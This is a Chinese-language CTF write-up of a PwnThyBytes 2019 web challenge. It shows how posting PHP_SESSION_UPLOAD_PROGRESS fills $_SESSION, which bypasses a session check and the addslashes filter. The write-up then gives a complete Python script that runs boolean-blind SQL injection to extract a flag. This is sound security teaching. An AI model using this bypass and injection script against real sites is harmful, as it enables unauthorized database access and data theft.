pwnthybytes 2019 ctf的一道web题
环境目前还开着: http://137.117.210.176:13372

1.初步思路

  • 题目一开始的提示

    I had problems in the past with SQLi so I searched for recommendations. I know for sure that PHP addslashes is a pain and nobody can bypass this

可以猜测和sql注入有关

访问/source.zip拿到源码

  • 审计下可以发现index.php有一个全局的过滤,并且注册登陆的功能是依靠index.php去包含templates文件夹中其他文件实现的
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    <?php
    session_start();

    foreach($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach;
    foreach($_GET as $key => $value): $_GET[$key] = filter($value); endforeach;
    foreach($_POST as $key => $value): $_POST[$key] = filter($value); endforeach;
    foreach($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach;

    function filter($value){
    !is_string($value) AND die("Hacking attempt!");

    return addslashes($value);
    }

    isset($_GET['p']) AND $_GET['p'] === "register" AND $_SERVER['REQUEST_METHOD'] === 'POST' AND isset($_POST['username']) AND isset($_POST['password']) AND @include('templates/register.php');
    isset($_GET['p']) AND $_GET['p'] === "login" AND $_SERVER['REQUEST_METHOD'] === 'GET' AND isset($_GET['username']) AND isset($_GET['password']) AND @include('templates/login.php');
    isset($_GET['p']) AND $_GET['p'] === "home" AND @include('templates/home.php');

    ?>
  • 在没有宽字符注入的情况下addslashes几乎是不可能直接绕过的

再看一看login.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
//如果没有session的话就退出
//注意login.php根本没有session_start()
!isset($_SESSION) AND die("Direct access on this script is not allowed!");
include 'db.php';

echo $_GET['username'];
$sql = 'SELECT `username`,`password` FROM `test`.`users` where `username`="'.$_GET['username'].'" and password="'.md5($_GET['password']).'";';
$result = $con->query($sql);

function auth($user){
$_SESSION['username'] = $user;
return True;
}

($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));

?>
  • login.php一开始有一个验证,如果不存在session的话就直接退出
  • addslashes的全局过滤是写在index.php中的,如果有办法绕过这个session的验证直接访问login.php的话,就可以直接sql注入
  • 但是login.ph根本没有session_start(),因此直接访问login.php肯定是不行的

2.利用Session Upload Progress

这是php5.4后的一个特性
https://www.php.net/manual/en/session.upload-progress.php

  • php文档的描述:

    当 session.upload_progress.enabled INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态
    当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。 当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是 session.upload_progress.prefix 与 session.upload_progress.name连接在一起的值。 通常这些键值可以通过读取INI设置来获得

  • 最重要的是,upload_progress是不需要session_start()的
  • php.ini中默认session.upload_progress.name值为PHP_SESSION_UPLOAD_PROGRESS,因此只要post一个名为PHP_SESSION_UPLOAD_PROGRESS的请求SESSION全局数据就会不为空,我们就可以进行布尔型盲注

附上韩国大佬的脚本https://yelang123.tistory.com/77

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

result =''
url = 'http://127.0.0.1/'
data = '''------WebKitFormBoundary8Jltb5vw5fWfSYS4
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

asdfasdfasdf
------WebKitFormBoundary8Jltb5vw5fWfSYS4--'''
headers = {'Cookie' : 'PHPSESSID=yelang123;',
'Content-Type':'multipart/form-data; boundary=----WebKitFormBoundary8Jltb5vw5fWfSYS4'}
for x in range(1,10000):
for i in range(32,128):
payload = "/templates/login.php?username=1\"or if(ascii(substr((select group_concat(secret) from flag_tbl),{1},1))={0},1,0)%23&password=tlqkf12a".format(i,x);
r = requests.post(url+payload,headers=headers,data=data,proxies={'http':'http://127.0.0.1:8080'})
# print(r.text)
if "Try again!" not in r.text:
result += chr(i)
print(result)
break;
else:
continue;
print(result)